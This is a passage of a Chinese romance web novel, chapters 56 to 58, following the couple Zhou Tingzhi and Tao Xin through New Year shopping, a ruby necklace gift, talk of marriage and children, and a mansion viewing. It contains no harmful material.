“这有什么好佩服的。”周廷之推了购物车,看一眼陶欣,本来还想说她如果热了可以把外套脱下来,但说这话之前,自己也觉得过分婆婆媽媽了。陶欣又不傻,热了难道还不会脱衣服。 “就是,感觉我们俩大脑构造不一样,你怎么总能想到一些我完全想不到的事。” “……我很不想承认,这和大脑构造没关系,和年龄有关系。”周廷之往购物车里放了一箱车厘子,停顿了一下才说:“再过两个月,我就三十九岁了。” 周廷之是四月十六的生日。 陶欣是二月二的生日。 原本周廷之是比陶欣小两个月的。 从前两个人在床上親昵的时候,周廷之还叫过陶欣姐姐。 周廷之看了一眼身旁梳着麻花辫的小姑娘,有时候都不敢相信自己已经是快四十的年纪。 陶欣抬脸看他,笑着说:“男人四十一枝花,你还是个含苞待放的花骨朵呀。” 周廷之笑了笑,又往购物车里装了一箱坚果。 “欸,你干嘛都拿礼盒,想吃还得拆盒子,多麻烦啊,我们去買散装的。” “给大哥大嫂买的,大哥在家卧床养伤,大嫂肯定没时间好好置办年货。” 陶欣吐了下舌头:“叫你比的我好没良心。” 周廷之偶尔看她真像看女儿,见不得她这样做鬼脸,可是说了又怕她烦:“哎。” “叹什么气?”陶欣以为他是在意陶书华的态度,便宽慰他说:“没事的,日久见人心,我会在大哥面前多说你好话。” “那就拜托你了。” 两个人逛到一半,周念往小群里发消息,说想吃一个俄罗斯的草莓味白巧,大少爷难得求人,还发了一个跪下搓手的表情包。 陶欣看见他发的消息,才发现自己手机快要没电了:“哎呀。” 话还没说出口,周廷之就从外套口袋里拿出充电宝,十分从容地递过来。 陶欣震惊:“你哆啦A梦啊,太帅了吧,我摸摸兜里还揣什么了。” 她说着,真把手伸进了周廷之的上衣口袋,摸出一片湿巾,一包纸巾 ,一片独立包装的医用口罩,一根独立包装的碘伏棉签,两片创可贴。除此之外,竟然还有一个扎头发的黑皮筋。 零零碎碎的小东西,没有一个占地方的,装在冬天的外套口袋里都完全看不出口袋里有东西。 陶欣惊叹:“哇……” 周廷之把那些东西都揣回去:“这叫以备不时之需。” 他很喜欢整理物品,把东西揣回去也是一样一样的依照自己那套顺序,可爱的让陶欣很想当众亲他一口。 不过也就是想想,他俩都不太好意思在人前太亲密。 转悠到糖果区,陶欣记起来要给周念买草莓味的白巧克力,可糖果种类太丰富了,光俄罗斯的巧克力就摆满了两面货架,陶欣看的眼花缭乱,根本不知道从何找起。 “我找吧,你去选自己爱吃的。” “那你找吧你找吧,我晕了。” 陶欣去另一边买威化饼干,一层一层找小袋包装的那种。她买零食从来都只买小袋包装,大袋拆了吃不完,全都浪费掉了。 说起来,他们80后小时候物资还是比较匮乏的,不像现在要什么有什么,节约已经成为本能,浪费食物是真的难受。周廷之家里那么多保温盒,也是专门买回来装剩菜用的。 “欸,在这。”陶欣终于找到自己要的威化饼干,正要伸手拿下来,忽然感觉什么东西撞了一下她的腿。 低头一看,竟然是个两三岁的小女孩。 小女孩大概是在超市里跑,一下撞到她身上,摔了个屁蹲,很乖,摔了也不哭,眨巴着一双圆溜溜的大眼睛看她。 小女孩的妈妈赶过来:“是不是摔了,叫你别跑。” 陶欣忍不住笑:“你女儿呀,长得真可爱,好乖哦。” 小女孩的妈妈叹了口气说:“乖什么呀,皮着呢,一眼看不到就跑没影了,我都恨不得拿个链子拴着她。” 陶欣蹲下身,捡起小女孩掉在地上的糖,递过去说:“不许在超市里乱跑,听到没有。” 小女孩不怕生,伸手摸了摸陶欣外套上的毛毛,一下扑到她怀里,环抱住她的脖颈:“姨姨……” 小女孩的身体香香软软,被这样抱住的感觉很奇妙,陶欣惊喜的睁大眼,不敢置信地看向小女孩的妈妈。 小女孩的妈妈似乎也觉得很有爱,拿出手机来拍照。 陶欣见小女孩的妈妈不排斥,便一把将小女孩抱起来,逗她说:“你喜欢我呀,要不要跟我回家?” 小女孩趴在陶欣怀里,假模假样的朝自己妈妈摆手,摆完手又捂嘴偷笑,那坏坏的小模样别提多萌了,陶欣情不自禁地跺了两下脚:“哎呀不管了,我要把她带回家了。” 周廷之在另一边,看着这一幕。 在此之前,他从未将陶欣和一个更小的孩子联系在一起,很多时候,他眼里的陶欣就是小孩子。 所以他没想过,陶欣是不是喜欢小宝宝,有没有考虑过孕育一个小生命。 如果陶欣喜欢孩子,迟早会有这个打算,也许不是现在,未来几年?三年,五年,他已经四十几……他不吸烟,极少喝酒,常年保持运动,按理说身体状态不会比二十出头的年轻人差……可精/子质量是否过关? 孩子生下来,与他相差太大,是否会将他视作老父亲……他又能陪伴多久…… 短短一瞬,周廷之心中已然百转千回,焦虑的快要死掉。 第57章 第57章他的心意,她全都明白,…… 陶欣同小女孩玩了一会,她妈妈就带着她走了,回过头去找周廷之,却见他就在自己身后不远不近的地方站着,看着,不知道在想什么,神情有点……陶欣说不清,只覺得自己心口酸酸涨涨的,见不得他那样子。 跑过去,挽住他的手臂:“你站这干什么,巧克力買到了吗?” “嗯,買到了。”周廷之没有贸然提起小女孩的事,只是问:“你要買的威化饼干呢?” “对哦,差点忘拿。” 虽然家里什么都不缺,但偶尔来一次超市就感覺要買的东西很多,尤其没几天就过年了,超市貨架上种类更丰富齐全,光是稀奇古怪的酒陶欣就买了十几瓶,不知不覺装满两个大购物車。 幸好两人出门时开的是陶欣那辆越野,后备箱宽敞,挤一挤可以装下。 回家之前,陶欣还去了一趟爱馬仕,取她给姚雪娜准备的新年礼物,当然还有那一大堆配貨。大概是年纪小,还不足以欣赏这种奢侈品牌的设计,陶欣每次把配貨的衣服鞋子首饰带回家都覺得有点勉强,所以这次配货的衣服陶欣拿的都是男装,反正周廷之和周念身材差不多,刚好可以分一分穿。 从爱馬仕门店出来,車子彻底装满了。 陶欣和sales道别,上了車就拆开包装,拍照给姚雪娜看。 姚雪娜立刻发来一长串语音:“啊啊啊啊啊啊inandout!宝贝我爱你!你怎么知道我想要这个!呜呜呜呜我太喜欢了!快拿给我求求你了!” 周廷之觑了眼那只包,发自內心的觉得有点丑。 陶欣自然也不爱,她从小就不喜欢买包包首饰什么的,父母给的零花钱全用来吃喝玩乐,姚雪娜则与她相反,上初中的时候就存钱买lv爱马仕,为了提前拿下自己心仪的包没少管陶欣借钱。 姚雪娜回忆起来总是很感慨,她的少女时期,哪敢指望买限量版的爱马仕,连入门款都要节衣缩食,东拼西凑,哪像现在…… 她发微信问陶欣还记不记得那时候的事。 陶欣给她发语音消息:“姚老师,我知道你肯定是忘记了,所以一直没跟你说,你念大二的时候管我借了六千块去买包,那六千块钱到现在还没有还我。” 姚雪娜回了一大串哈哈哈哈哈哈哈。 周廷之开着车问:“你为什么叫她姚老师。” “因为她有成熟女人的智慧,很值得我学习。” “……” 能学出什么好。周廷之心里这样想,当然不会这样说,在女朋友面前说她闺蜜的坏话,是愚蠢至极的行为。 可他不说话也不行,女朋友会立刻用狐疑的眼神看着他问:“你怎么不说话?” 不可以说坏话,连偷偷在心里说也不可以。 周廷之短暂沉默一瞬,问:“你打算什么时候给她送包去?” “明天上午吧,不然她中午就杀到家里来。”陶欣说着,把包放回盒子里装好。 “那还告诉她?怎么不直接给她个惊喜。” “叫她从现在就开始高兴不好吗?” 有道理。 周廷之笑笑:“我也给你准备了新年礼物,在我卧室的床头柜里。” 一到家陶欣就跑上了二楼,在房间里打游戏的周念听到脚步声出来问:“我的巧克力买了没有。” “楼下呢少爷。” “欸,你干什么去啊。” 见陶欣进了周廷之的卧室,周念有点纳闷。周廷之已经挪去三楼住很久了,只周末在家时用一用二楼的书房。 他好奇,跟过去。 陶欣蹲到床头柜前,拉开抽屉,拿出一个蛮大的黑盒子,放在床上,缓缓打开,里面是一串流光溢彩的鸽血紅紅宝石项链。就算周念这个外行到极致的人来看,也晓得这串项链价值不菲,保不齐比他家房子还贵。 周念看了一眼,下楼去找自己的草莓味白巧了。 周廷之见他下来,开了后备箱:“那些礼盒不用动,装袋子里的东西都拿进去,放客厅就行,待会我收拾。” “这么多……”周念唉声叹气:“琴姨什么时候回来啊。” 周廷之没理他,上了楼,陶欣果然在她的衣帽间,換了裙子,正试戴项链。 陶欣是不喜欢包包首饰,可珠宝,尤其这种华贵的珠宝,很难有人会不喜欢,无论男人还是女人。 周廷之从背后搂住她盈盈一握的腰,看着镜子里她颈间的红宝石项链,心理异常满足。 赚钱,不就是为了这个。 “喜欢吗?” “嗯!” “红色的,正好新年戴 。” “嗯!” “老嗯什么?” 陶欣偏过脸看着他莞尔一笑:“太喜欢了,这要好多钱吧?” “成交价是三千六百万。” “天呐,居然这么贵。” “通货膨胀了陶小姐。” “你少来,还当我是几个月前的我吗。”陶欣看看镜子里的项链,有点咂舌,倒不是因为三千六百万这个价格,而是三千六百万只能买这么一条项链。 她摸摸上边的红宝石,想到从小到大爸妈给她买的珠宝,完全无法计算那些整套整套的珠宝到底值多少钱。 事实上,陶欣到现在都不清楚爸妈究竟留给她多少资产,据说除了珠宝,还有古董,收藏,地皮,大楼,基金,信托,总之乱七八糟一大堆,是陶欣一去计算就会对钱失去概念的程度。 说起来她爸爸一直都眼光独到,很会赚钱,从七五年就开始收集古董,是第一批下海经商的体制內职工,也是最早做外贸生意的商人,买地皮,房产,全赶在涨价之前,甚至给她攒嫁妆,都是专买黄金和那些保值的珠宝。 陶欣记得自己那会还跟周廷之说,你将来能不能赚大钱,回头叫我爸爸一看就知道了。 欣赏够了项链,陶欣摘下来,装到自己的小保险柜里。因为保险柜里都是周廷之送的礼物,她哄着周廷之说:“哎呀,都快装满了。” 周廷之当了真,俯身看一眼,的确是稍显紧凑。 可他首先想到的并不是替陶欣換一个更大的保险柜,而是环顾了一圈陶欣的衣帽间。他搬上来住后,衣物也渐渐跟了上来,占据了一部分柜子,陶欣则是偶尔被各个奢侈品门店的sales哄过去冲冲业绩,衣服鞋子越来越多。 才短短几个月,偌大的衣帽间已经找不出余量放置新的保险柜。 周廷之在华视搬进如今的办公大楼前就搬进了这幢房子里,他在这住了许多年,第一次觉得狭窄拥挤。 “饿了,我们叫个外卖吧,我忽然好想吃肯德基。” “你点吧,我吃中午的剩菜。” 周廷之和她一道下楼,仍然在以一种全新的角度审视这幢房子。 从周廷之搬进来到现在,有十二年了,当初买的时候就不是新房,房龄大概在二十年左右,虽然重新装修过,保养的也很好,但难免有几分陈旧感……最重要的是,三楼,没有电梯。 也就是陶欣年轻好动,上上下下才不嫌烦。 周念正在客厅整理年货。他没那么不懂事,真就把年货都扔客厅等着周廷之收拾。可他很少做家务,东西都不知道放哪,零零散散的一大堆年货摆在客厅,乱七八糟,毫无秩序可言。 陶欣看到了,也过去帮忙归置,但她也不清楚新买的筷子该放在哪,拆开还是不拆开。 “你不是要点肯德基?今天不做饭了,你们倆都叫外卖吧。”周廷之随口将两个人支开,自己慢慢收拾。 心思还在房子上。 随着一应物品各归各位,周廷之愈发觉得这房子实在太小了。 如果,他是说如果,将来家里有个小宝宝,那免不得要请两个育儿嫂,住在哪里都成问题,何况还有那么多小宝宝的东西,衣服,玩具,也要专门有个房间安置。 等孩子长大一点,会跑会跳了,叫她在哪里玩?客厅这么窄,还不跑几步就撞到沙发上? 再长大一些呢,总要有自己的房间,衣帽间,倘若像她妈妈似的学个舞蹈,还得有一间舞蹈室,倘若再弹个钢琴呢,家里甚至没有地方摆一架钢琴。 周廷之越往远了想,換房的念头越强烈,即便他心知肚明孩子根本就是没影的事,也不能否定这种假设有一天会成真。 要提前准备好才行,要一步到位才行。 周廷之的心脏像注入了一种不知名的力量,不断膨胀,壮大,快要把身体撑碎,以至于他迫切的想替这股力量找一个出口,短短一瞬,他已经想到小宝宝日后也会有一个自己的孩子,他要提前为那个孩子准备好一切,让她们没有任何后顾之忧。 “周廷之!”陶欣打断了他的幻想:“干什么呢,叫你半天都不理人的。” “……我没听见,怎么了?” “我问你要不要吃鸡翅。” 周廷之笑着摇摇头。不吃,当然不是因为不爱吃,只是到他这个年纪,油炸食品吃进肚子里,会反应到身体和皮肤上。 他需要很用心的管理自己,才能和女朋友保持长久的匹配。 “欸。”陶欣注意到他的手机:“你怎么在看房子?” “随便看看,你觉得怎么样?” 陶欣拿过他的手机,翻一翻图片:“哇,豪宅啊,还有大游泳池呢。” “地下室两层,一层是健身房和家庭影院,一层是室内恒温泳池。” 他说的太详细了。陶欣转头看他:“你要买吗?” “在考虑。”周廷之说:“家里现在住着太紧凑了。” “有吗?还好吧……”陶欣是真觉得还好,三层加起来六百多平米,算上琴姨,家里总共才四个人。四个人住六百多平米,任谁看来也说不出“紧凑”两个字。 她哪里晓得周廷之有那么遥远的计算方式。 周廷之也在犹豫,要不要和她讨论小孩子的问题,毕竟,她才刚满二十一周岁,现在讨论这些事似乎太早了,尤其他们倆还只是男女朋友的关系,更不合适。 “而且搬家太麻烦了。”陶欣对豪宅并不感兴趣:“在这住的好好的,干嘛折腾来折腾去。” 周廷之看着她,到底没提:“我就是刚好在朋友圈刷到了,感觉挺不错的……你过段时间不是要独立生活一个月吗,一个月,足够搬家了。” “你认真的呀?” “嗯,我想着琴姐年纪也大了,换套大点的房子,到时多请几个阿姨,打扫卫生,整理东西,总比小时工用着省心,不用像现在似的,一点小事都得特意问琴姐。” “那倒是……”陶欣喝着可乐,黑汪汪的眼珠看着他:“琴姐要是知道你为她换房子,肯定都得惊呆了。” 周廷之深吸了口气:“我能是为琴姐换房子吗?” “我知道,我就那么一说嘛。” “那年后一起去看房子。” “好哦。” 陶欣随口答应一声,又去拿鸡翅吃。 似乎在她看来,买房子是需要“大人”全权决定的大事,不必她过问太多。 周廷之庆幸自己忍住了没有提小孩子的事,提了,陶欣不知道要多惊惶。 …… 翌日上午,陶欣被姚雪娜催着出了家门,见面地点还是在那家位置很偏的小私厨里。 不过这次来,姚雪娜明显是特意给她预留了停车位,很宽敞,足够她一下子就停进去。 姚雪娜在里面看到她的车,立刻迎出来:“我的心肝,我的宝贝,可算等到你了——” “你的心肝宝贝是包还是我啊?” “当然是你了。” 她这么说着,却不看陶欣,双手把包接了过去,一脸虔诚。 陶欣知道姚雪娜有演的成分,不甚在意,倒是另一件事让她忍不住抱怨:“你能真欺负人,我给你送礼物,你还叫我跑这么远给你送,我开车过来四十多分钟呢。” “这不是想让你尝尝本店的新菜系吗,专门为你研究的,可乐雪蟹饼。” “这还差不多……” “好啦大小姐,快请进吧,我已经迫不及待要跟我的心肝宝贝见面了。” “果然你的心肝宝贝还是包啊!” 听到陶欣的声音 ,姚雪娜的男朋友忙从厨房里走出来,几乎是毕恭毕敬的和陶欣打招呼,态度比上次陶欣来的时候恭敬了不知道多少。 陶欣正纳闷呢,就听他说:“这次车还好停吧,真不好意思,上次是我太粗心,知道你来还把车停的那么随便,你一走雪娜就说过我了。” 原来是被调理过啦。 陶欣矜持地点点头:“挺好停的,麻烦你了。” “没事没事,稍微再等一会吧,菜马上就好。” 他说完,腼腆的笑笑,又一头钻进厨房去。 陶欣这才看向姚雪娜:“什么情况啊。” 通常来讲,一个女人对男朋友暗示自己闺蜜的地位,让男朋友有夹起尾巴做人的自觉,就说明她一定是有某种长远打算。 姚雪娜笑起来:“没什么情况,主要还是性/生活和谐,多的不跟你讲了,怕你害臊。” 陶欣哑然:“……” 姚雪娜拿出袋子里的包包,满意的直跺脚:“就是这个奶白色,我喜欢,我正愁最近手头紧你就给我送来了,你真是我的好宝宝啊。” “怎么手头紧?” “同人家投资了一部电视剧,现在影视行业很赚钱的呀。” “真能折腾。” “人活着就是要折腾,不然每天吃吃喝喝睡大觉,多没劲。”姚雪娜把奶白色的包妥善放回袋子里,转手给陶欣倒了一杯花茶:“你呢,最近怎么样,出去玩一趟情绪是不是好多了?” 陶欣捧起花茶,抿了一口:“还可以吧,就是整天给自己找事做,不能闲下来,一闲下来就闷闷的。” “所以啊,人生贵在折腾,要不年后你跟我去日本……哦对,你还不能出国。” “能出国我也不能跟你去日本呀,周廷之昨天忽然说要换房子,年后我们倆一起去看房。” 姚雪娜一怔,眼睛慢慢睁大了:“看房?老天,他该不会打算考核期一过就跟你求婚吧。” “啊?” “你不是还有两个月就过考核期了吗,这时候他突然提起看房,多半就是你俩的婚房啊,哎,男人都是这样,不管到什么阶层,結婚都要先考虑有个窝。” “婚,婚房?” “傻子,你脑袋里什么都不想呀?”姚雪娜摇头叹息:“我跟你赌,就赌我欠你那六千块,周廷之这会保准连你俩生的孩子住哪个房间都想好了。” 陶欣被她说懵了,抬起两只手,虚掩住太阳穴:“等一下,怎么就从看房子说到生孩子去了,你节奏太快,我有点跟不上。” “你真的没想过吗?”姚雪娜略有些难以置信:“你们俩也没聊过?” “聊什么?結婚?” “孩子呀,他可是虚岁四十的人呀,像我们这个年龄段的人想到生baby,男人第一时间想到的肯定是精/子质量,而女人呢,高龄产妇,风险好大。” “……” “好了,我就这么问你,你不想生baby?不愿意做妈妈?还是你没打算和周廷之长远发展?不准备跟他結婚,生一个拥有你们俩基因的小孩?” 陶欣从小生活的环境,接受的教育,都无形中向她传递着女孩子要在完完全全长大成人后才能考虑结婚生子的观念。所谓完完全全长大成人,是指能肩负起一个家庭的责任,能肩负起养育一个孩子的责任。 一个孩子,生下来,养大,教育,费一辈子心。 在此之前,陶欣没想过。 可姚雪娜这样一说,她脑袋里就跟萝卜开会似的热闹起来。 拥有她和周廷之基因的小孩……如果头脑像周廷之,运动天赋像她,那岂不是文武全才?可要是反过来呢?天啊,有没有那么倒霉……不过她和周廷之都没有丑基因,孩子长得肯定很好看了,大概率会像周廷之多一些,看周念那张脸,周家的基因还挺强大的,这方面她多少有点吃亏…… “菜来了。”姚雪娜的男朋友打断了她的胡思乱想:“快尝尝怎么样。” 可乐雪蟹饼,是在日式可乐饼的基础上做了改进,雪蟹用料很足,一口咬下去外酥里嫩,汁水饱满,酱汁里像是有某种来自阿拉伯的香料,味道很特殊。 姚雪娜替男朋友问:“如何?有问题速速反馈,我们好改良。” “没问题。”陶欣笑着说:“很好吃。” 离开店里,回去的路上,陶欣又看到那家在红绿灯旁的婚纱店,婚纱照旧摆在橱窗内,等待着一场盛大的婚礼。 周廷之已经快四十岁了,他是否在期待婚姻,以及一个和自己血脉相连的孩子。 她从前居然没有考虑过这些问题。 其实想过结婚的。 在山里,出事那天,在最极端恶劣的情况下,她一直想着,等被救出去,安全了,一定和紧紧握着她手的周廷之结婚,她要和周廷之永远永远在一起。 可是眨眼之间,她就来到十八年后,被巨大的信息冲昏了头,那一整天,脑子里只装着一件事——遇难者名单里没有周廷之,失踪人员名单里只有她,只有她独自来到了十八年后。 她和周廷之没有被泥石流冲散,却被时间的洪流冲散了。 可是还好,他在等她。 陶欣回到家时,周廷之正在给陶剩剩和周美美研究猫饭,试图用充足的营养纠正兄妹俩的基因。 陶欣从背后抱住他。 周廷之有点意外,转头看她:“怎么了?受委屈了?” “我今天和姚老师进行了一场深刻的谈话。” “……有多深刻?” 周廷之这样问的时候,已经悬起一颗心。 姚雪娜那个人,从前说话就很有分量,随着年纪和阅历的增长,地位几乎是陶欣三分之二的妈。 最重要的是,她刚经历过一场糟糕的婚姻,还处于游戏人间的状态。 “非常深刻。”陶欣说:“她问我有没有想过和你结婚,生一个拥有我们俩基因的小孩。” “……” “我知道,你一定想过的,是怕我有压力才没说,对不对。” 他的心意,她全都明白,哪怕偶尔会有些后知后觉。 周廷之握住陶欣环在自己腰间的手腕,指尖轻颤,和灵魂一同颤栗。 “虽然结婚生小孩这种事,我还需要时间考虑,但你的想法,一定要告诉我,这对我很重要。” “嗯……我会的。” 周廷之转过身,看着陶欣逐渐褪去稚气,明艳的面庞。 “你可以慢慢考虑,我已经打算好,年后去冻精。” “……姚老师不愧是姚老师,什么都叫她猜中,她就说这个年纪的男人提起生孩子首先想到的是精/子质量。” “也不全是。” “嗯?” “首先要你喜欢。” 周廷之表明态度的同时,认可了姚老师三分之二岳母大人的地位,非常愿意每年都向她进贡几只稀有皮爱马仕。 第58章 第58章周廷之面无表情,语气也…… 周廷之要买房的消息一传出去,圈子里的掮客连年都不过,一时间都出动了。 商场上这些掮客,无非是给两桩生意牵桥搭线,从中赚取佣金,按说房屋买卖是房产中介的活,跟他们没关系。 可是,要买房的人是周廷之啊。 谁不晓得近些年华视的设備大批大批往海外卖,还有天眼工程这个源源不断下金蛋的大公鸡,周廷之腰包鼓的都流油水了,他特意放话出来要买房,那肯定不是小来小去的,这单生意要撮合成了,岂不是轻轻松松入账百万,那还过哪门子年啊! 掮客们生怕被别人抢了先,年前两天就开始一个接一个的联系周廷之,消息发了一箩筐,大多都是一套词,想邀他去实地考察、亲身感受。 年前杂事多,还要空出大半天时间去探望陶书华夫妻,周廷之原本没有看房的计划,可腊月二十九这天一早,小赵董打电话来,听说他要买房的事,热情的邀请他做邻居。 周廷之知道小赵董是醉翁之意不在酒,想借着这个机会聊一聊两个孩子的事,便答应下来,独自去赴约。 小赵董说是做邻居,其实那套高价出售的公馆离山上的赵府还有一段距离,坐落在山下朝南的一角,主楼是单层面积五百平米的大独栋,副楼是两百多平米的私宴廳,算上花园,占地面积正正好一千八百八十八平米。 青石砖围墙,两米多高,隐私性和安全性都有保障,因为是在山脚下,围墙高也不影响绿化,到春夏之际仍有花草从墙外探出头来。 带着小赵董和周廷之看房也是一名掮客,他必旁人消息灵通,更聪明些,知道小赵董要和周 廷之攀亲家,特意从小赵董这邊下手,叫周廷之不好回绝。 “周總您看,门廳进来右手邊是老人房,都有独立的衛浴和衣帽间,从前廳右侧小门进去是车库,能停放两台日常开的车,左手邊是厨房、储物间、佣人使用的衛生间,再往里面走就是客廳了,客厅右手邊是您办公的书房,左手边是西餐厅,西餐厅这里走廊的尽头是中餐厅,是在入户门的左手边。” 小赵董跟着掮客和周廷之在一楼走一圈,没找到一个好的说话机会,微微蹙了下眉,很快又舒展开,笑道:“你这左手边右手边的,都要把我们俩给说晕了,买自己住的房子,是件大事,哪能囫囵吞枣似的,得仔仔细细看,慢慢看,周總你说呢。” 掮客不是专业房产中介,介绍的并不细致,可周廷之听得认真,看得也认真,对一楼格局已经大概清楚了,便笑着应下小赵董的话:“是啊,先让我们自己随便看看。” 听话听音,锣鼓听声。掮客晓得自己太心急做成这笔生意了,讪讪一笑,跟到了后面。 小赵董这才说:“你这怎么突然有了换房的打算,是想要结婚了?” 周廷之笑笑,随口敷衍:“不结婚不配住大房子了?” “那可不,家里没有个女主人,住这种房子和鬼屋有什么两样?就是要有个女人,成天买买小物件,弄弄鲜花,房子里才有情调,到时候再生个一儿半女的,你追我赶,跑上跑下,那又是什么神仙日子。” 周廷之深深看了眼小赵董。 小赵董疑惑:“怎么?我说的不对?” “您才应該去做房产中介。”周廷之说着,推开客厅连通后花园的入户门。深冬时节,地上满是残雪落叶,略有些脏乱荒凉。不过后花园几棵树长得很好,树下还摆着欧式风格的小桌椅,可以想象到夏天坐在阴凉处喝茶的场景。 如果再有两个孩子在旁边追逐打闹…… 周廷之短暂沉默一瞬,转过头笑着说:“确实,家里没个女主人不配住这种房子。” 小赵董闻言笑起来,终于把话题拉入正轨:“你也該考虑结婚了,总不好叫小念结在你前边吧?” “小念和瑞雪的事……”周廷之一顿,问:“瑞雪回去是怎么说的?” 说你家孩子太蠢,没长脑子也没长心,她宁愿找凤凰男倒插门也不伺候周念这二货。小赵董笑意不减:“现在这些孩子,不管男孩女孩,哪一个不是千娇万宠、众星捧月长大的,尤其我们家瑞雪、你们家小念这种,自小就省心,成绩又好的,真是不惯着都不行啊。” 周廷之微笑,等他的下文。 “你说这么两个孩子凑一块,谁能让着谁?还不一点小事就闹翻了。”小赵董拍拍周廷之的肩膀,做出非同一般的亲近姿态:“廷之,这种时候就看我们做家长的能不能替孩子掌好舵了。” 小赵董厉害就厉害在这张嘴上,哄得赵老先生欢心,大半家产都给了他。 周廷之在他面前,简直可以称得上笨嘴拙舌,所以只是笑了笑:“我倒是想替人家掌舵……” 小赵董听出了周廷之的推脱之意,毕竟明眼人都能看出周念是个听话孩子,就算阳奉阴违,阳奉也是一定的,怎么能说掌不了他的舵。 于是小赵董话锋一转,又道:“归根结底还是年纪小,还不懂大人的一番苦心啊。” “相比买房子,这才是真正的大事,更要慢慢来,兴许你不理会它,反而就水到渠成了。”周廷之笑了笑:“我不是早说过,现在的孩子都有逆反心理。” 话说到这份上,小赵董纵然想再争取争取,也使不上什么力气了,只好将此事暂且搁置,视线又回到房子上。 “这房主是个香港人,就那个地产大王的二儿子,当初买来投资的,一次没住过,也没什么说法,装修都是顶尖的,全套下来用了八千个,咱们进来的时候门口那个入户门就小三百万,还有前厅的水晶灯,地板,墙面,反正钱都花在了刀刃上,再住个四五十年也不用考虑重装修的问题,好好保养着就行。” 两人说着,上了二楼,后面跟着的掮客直接把户型图递了过来。 周廷之看一眼,目光落在主卧对面“女儿房”三个字上。大小和主卧差不多,也有独立的卫浴,但卫生间太小了,大概摆不下漂亮的浴缸,最重要的是没有衣帽间,女孩那么多衣服鞋子包包首饰該放哪? 幸好隔壁还有一间卧室,另一边挨着老人房,可以改一改格局,完全打通,卧室改成衣帽间,至于老人房,全部清空,墙面打上一整面墙的镜子,做舞蹈室、瑜伽房,外边二楼的小厅正好摆钢琴。 等到夏天,或许有个小女孩在这跳舞,弹钢琴,可以透过窗户看见绿树成荫,桂花满地。 周廷之一瞬间规划好,微不可察地勾起嘴角。 掮客一直盯着他呢,见他面露笑意,心中大喜,介绍的更细致了,转完一圈就问周廷之要不要联系房主商量价格,那样子真是恨不得周廷之当场就把这套房子敲定下来。 周廷之:“先不急,年后我再带人来看看。” 小赵董:“怎么,得人家点头才行?” 周廷之笑了笑:“给她买的房子,她不点头怎么行。” 小赵董一听这话真是有些大惊失色了,那掮客更是瞪大了眼珠。虽然早从旁人口中听闻周廷之对他那个小女朋友是千依百顺,但姿态归姿态,财产归财产,婚都没结呢,一出手就是市值近十个小目标的房子,小赵董和掮客脸上都幹幹脆脆写了一句话——你疯了啊! 掮客跟周廷之没什么交情,不便于评价,小赵董却是不管这个,给了掮客一个眼色,让掮客先行离开,随即便做出一副严肃的神情:“你这是和我开玩笑的,还是认真的?” “认真的,赵哥。” “……” 他这一声赵哥,堵得小赵董那叫一个难受,可有些话很难忍住不说:“这可是十个亿,你周廷之有几个十亿这么挥霍。” 周廷之仍是微笑:“价格是不便宜,可住一辈子的房子,多花点钱也应该的,怎么能算挥霍。” 小赵董血压一下子就高了。是,赵瑞雪和周念现在看来完全没戏,这十个亿跟他一毛钱关系都没有,可同作为男人,他们天然的团结,理所当然的想维护对方的利益。 “你搞搞清楚啊,你把房子买给人家,人家能不能让你住一辈子还两说呢。” “这点信任没有,谈什么以后,更何况……”周廷之看向小赵董,语气很寻常:“人家陶小姐,不缺这么一套房。” 小赵董也睁大了眼睛。 “具体情况我不太方便多说,总之,我这年纪,还有那么大一个儿子,不管从哪方面论都是高攀了人家,要是不拿出十足十的诚意,也不配做人家男朋友啊。” “这……” 小赵董被接二连三的重磅消息轰晕了头,还没捋清楚思路,又听周廷之说:“赵哥,我是把你当自己人才同你说这些的,这件事在我结婚前,最好不要外传,你知道的,欣欣年纪小,又单纯,我怕太招摇了,会有一些别有用心的人接近她。” 你丫的——听上去你是最别有用心的啊! 小赵董忍耐一阵,才勉强挤出微笑:“明白,你这么一说,我还有什么不明白的,你放心吧,这事绝对不会从我嘴里传出去的。” 十分钟后,小赵夫人便得知了此事。 “你说真的?周廷之那个小女朋友背后有资本?”小赵夫人一脸惊疑:“奇怪了,我怎么从没听说过这号人物,周廷之该不会被做局了吧。” “我开始也这么想,可周廷之那个人,你当他脑子白长的?” “没有上当受騙只是还没遇到量身定做的騙局。”小赵夫人这样说完,又自己把自己给否定了:“不过我瞧那陶小姐,真不像个騙子……她是国外回来的,加州,圣地亚哥……那边富豪倒是挺多的,可华人圈好像没听说过有姓陶的啊……” “那多半就是在国外不 叫这个名,你想想,周廷之能开这个口,他能不调查背景?他傻子啊?再说了,就算是骗局,有这本事把他骗过去,骗别人不好?骗那些没长脑子的不更省事。” “说的倒也是……这个周廷之……”小赵夫人长叹了口气:“他想结这个婚,真是要下血本才行了。” “我看他如今也是顾不上周念了。”小赵董也长叹了口气:“这事情弄的,一团糟乱,算了,随他去吧,我是不跟他掺和了。” 小赵夫人冷笑一声:“是不该掺和,本来我们家的热闹就够看了,现在他的热闹更多,等周廷之给他这小女朋友买房的消息传出去,你就能在人家的飯桌上退居二线了。” “怎么又扯到我身上。” “我是为你高兴,也为人家高兴,你这盘下酒菜,人家早吃腻了。” 小赵董受不了妻子阴阳怪气,争执两句,夫妻俩又不欢而散。 而另一边,周廷之心情很好的回了家。 其实周廷之早就想这么幹了,他和陶欣一样,不喜欢旁人异样的目光和那种把陶欣当陪衬的态度。 陶欣从前是有名有姓,外贸大佬的女儿,富家千金,人人追捧,没道理现在平白无故的叫人看轻了。 可他没办法挨个人解释。 能怎么解释? 我女朋友不缺钱,只是单纯爱我这个人。 没用的。说不出陶欣的背景和来历,人家只会当他神经病。 不过没有背景和来历,恰好就是最好的背景和来历,他完全可以给陶欣捏造一个神秘的背景,不寻常的来历,并且让所有人都深信不疑。 从赵老先生和夫人的金婚晚宴开始,周廷之就一直在人前或刻意或不经意的流露出对陶欣的低姿态,像是侦探小说里预埋的伏笔,看似与真相无关,却在读者心中留下深刻印象,只等某一个线索浮出水面,叫人不自觉串联起所有伏笔,然后恍然大悟,这个故事才算完整。 周廷之推开书房的门,陶欣正在剪完整版的vlog,兴致勃勃。 “你回来啦。”陶欣看到他,弯眸一笑。 “嗯,吃飯没?” “还没……” “那下楼吃飯吧,我打包了蟹粉馄饨。” “好耶!”陶欣一下子从办公椅上跳起来,双臂环住他的脖颈,抱着他撒娇:“怎么回事啊,我们俩真是心有灵犀一点通,我正想吃馄饨呢你就买回来了!” 陶欣越来越会哄人,绝口不提他出门之前明明准備好了午飯,陶欣洗漱完下楼就能吃。 周廷之搭在她腰间的手掌微微下移,轻拍两下,很有肉感。 